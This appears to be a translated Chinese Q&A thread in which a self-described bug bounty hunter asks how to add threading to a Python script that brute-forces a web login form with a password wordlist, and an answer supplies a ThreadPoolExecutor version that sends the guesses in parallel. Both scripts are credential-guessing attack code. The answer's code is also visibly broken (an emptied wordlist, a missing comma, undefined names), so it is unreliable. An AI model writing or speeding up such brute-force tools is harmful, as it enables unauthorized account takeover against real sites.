我如何添加线程到这个python代码，使多个请求

Question

我正在创建一个自定义工具，用于登录暴力破解web应用程序的bug赏金狩猎，所以我来到一个web应用程序上的bug，我必须创建自己的工具来暴力破解这不是一个完整的工具，但我需要解决当前代码添加线程

import requests
import re
exploit = open('password.txt', 'r').readlines()
headers = {
'Host': 'TARGET.COM',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'iframe',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1'
}
for line in exploit:
params = {
'execution': '111u9342',
'client_id': 'client-23429df',
'tab_id': '234324',
}
password = line.strip()
http = requests.post('https://www.target.com/test',
params=params,
headers=headers,
data={'username':myname,'password':password},
verify=False,
proxies=proxies)
content = http.content

print("finished")

我是python初学者

Answer 1

你可以使用ThreadPoolExecuter;

from concurrent.futures import ThreadPoolExecutor
import requests
# ....Other code parts...
def base_post(url, header, data, proxies, timeout=10):
response = requests.post(url, headers=header, data=data, proxies=proxies, timeout=timeout)
return response

total_possibilities = []
exploit = []
for line in exploit:
params = {
'execution': '111u9342',
'client_id': 'client-23429df',
'tab_id': '234324',
}
password = line.strip()
total_possibilities.append({'url': "...",
"params": params,
"headers": headers,
"data": {'username': myname, 'password': password},
"verify": False,
"proxies": proxies
"content": http.content})
results = []
with ThreadPoolExecutor(max_workers=3) as executor:
for row in total_possibilities:
results.append(executor.submit(base_post, **row))
print(results)

别忘了更新"max_workers"根据您的需要。